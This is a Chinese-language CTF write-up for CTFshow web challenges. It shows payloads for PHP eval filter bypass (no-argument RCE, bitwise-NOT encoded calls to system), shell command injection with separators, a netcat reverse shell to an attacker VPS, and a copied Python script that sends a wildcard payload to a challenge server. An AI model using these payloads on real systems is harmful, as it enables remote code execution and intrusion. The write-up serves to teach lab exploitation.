CTFshow __Web应用安全与防护 第二章
一、一句话木马变形
开始走了些弯路,在代码里看提示让输入 "echo 'Hello World!';",然后试了好多次,一直提示 "Execution Result: Error: Invalid characters detected! Only letters, numbers, underscores ,parentheses and semicolons are allowed.",后来才反应过来不需要按提示做呀,不过也在试的过程中看到 "Parse error: syntax error, unexpected end of file in /var/www/html/index.php(107) : eval()'d code on line 1",说明它是执行 "eval()函数" 的,接下来按函数来操作。
输入 "system(ls)" 查看目录下的文件,有两个文件 "flag.php" 和 "index.php"

下一步输入 "system('cat flag.php');",发现又开始提示 "Execution Result: Error: Invalid characters detected! Only letters, numbers, underscores ,parentheses and semicolons are allowed.",那就是有过滤,只允许使用 "字母、数字、下划线、括号和分号"

通过查询得到可以使用无参RCE
**无参RCE的概念:**正常的后门代码依赖于外部传参来执行命令,通过无参RCE可以实现后门代码不依赖与外部参数,那么这样该如何执行命令呢,我们可以通过php内置函数如 "getallheaders()"、"getenv()"、"scandir()" 等来拼凑出代码执行逻辑。
输入 "show_source(next(array_reverse(scandir(current(localeconv())))));",得到Flag

Flag = "CTF{shell_code_base64_bypass}"
注: "show_source(next(array_reverse(scandir(current(localeconv())))));" 的解释
localeconv()
-> 返回数组,第一个元素是"."
current()
-> 取出"."
scandir(".")
-> 列出当前目录文件数组,例如 [".", "...", "index.php", "flag.php"]
array_reverse()
-> 反转数组,例如 ["flag.php", "index.php", "...", "."]
next()
-> 指针后移,取到 "flag.php"(当前文件)
show_source("flag.php")
-> 显示flag.php的源代码
二、反弹shell构造
根据提示,输入 "whoami",这里只有成功提示,没有返回结果

按照标题构造反弹shell
bash
# 在靶机上运行
nc -c sh vps-ip 端口号
# 在vps上监听此端口
nc -lv 端口号
连接成功后直接执行命令即可

Flag = "CTF{reverse_shell_use_nc}"
另一个方法:
执行 "echo ls > 1.txt",显示成功,访问 "http://ctfshow/1.txt",可以看到页面上显示 "index.php" 和 "flag.php",说明目录已写入 "1.txt",命令执行成功

接下来执行 "echo 'cat flag.php' > 1.txt",访问 "http://ctfshow/1.txt",可以看到页面上显示 "<?php $flag = "CTF{reverse_shell_use_nc}";",得到Flag

三、管道符绕过过滤
首先输入 "ls",提示 "ls ls execute success!",猜测系统执行的是 "ls",输入 "-l",显示出当前目录文件

接下来合适管道符,输入 ";cat flag.php",源代码中可以看到Flag

Flag = "CTF{no_space_to_execute_shell_commands}"
管道符的说明:
; //分号,都执行
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行
四、无字母数字代码执行
开始输入了一些函数进行测试,但全都提示 "Error: Invalid shell code!",后来考虑到题目是无字母数字代码,就去参考了一些大佬的思路,首先我们先向非字母数字的方向考虑,构造出来的 Payload 还要能够执行,通过AI了解到可以对函数取反执行,又参考了各网站大佬的解题办法,具体如下:
1.对需要使用的函数进行取反,然后再进行URL 编码;
2.在发送 Payload 的时候将其取反,便可还原代码;
**注意:**在使用取反编码再取反进行绕过时,想要执行指定的代码,传入的 Payload 必须要满足 (函数名)() 这样的形式,否则在取反之前PHP解释器不知道是要执行一个函数,取反之后也就不会被当作代码执行。
构建 Payload "phpinfo();"

转码后是 "%8F%97%8F%96%91%99%90",Payload "(~%8F%97%8F%96%91%99%90)();",但在页面直执行会被URL编码,导致解码后有数字,如下图

因此使用 Burp 直接传参,执行成功

接下来构建 Payload "system('cat flag.php');"

转码后分别是 "%8C%86%8C%8B%9A%92" 和 "%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F",Payload "(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F);",执行后

Flag = "CTF{no_characters_to_execute_php_code}"
五、无字母数字命令执行
在 "无字母数字代码执行" 的基础上变成了无回显,只会提示执行成功,目前还没有弄明白,先把其他人的代码拷贝过来。
注意需要把https改成http
python
import requests
import time
import sys
TARGET_URL = "http://4072355f-0002-4920-a2e5-65ad785e1b70.challenge.ctf.show/"
PAYLOAD_FILE_PATH = "payload.txt"
CHECK_FLAG_STR = "CTF{"
TIMEOUT_SECONDS = 300 # 5分钟总超时
start_time = time.time()
with open(PAYLOAD_FILE_PATH, "r", encoding="utf-8") as f:
file = {"file": f}
data = {"code": ". /???/????????[@-[]"}
print(f"开始向 {TARGET_URL} 发送请求...")
while time.time() - start_time < TIMEOUT_SECONDS:
try:
response = requests.post(
TARGET_URL, files=file, data=data, timeout=10, allow_redirects=False
)
if CHECK_FLAG_STR in response.text:
start = response.text.find(CHECK_FLAG_STR)
end = response.text.find("}", start) + 1
flag = (
response.text[start:end] if end > start else response.text[start:]
)
print(f"✅ 找到Flag:{flag}")
sys.exit(0)
else:
print(f"⏳ 未找到flag,1秒后重试...")
time.sleep(1)
except Exception as e:
print(f"请求失败:{e}")
time.sleep(1)
print(f"⏰ 超时:{TIMEOUT_SECONDS}秒内未找到flag")
sys.exit(1)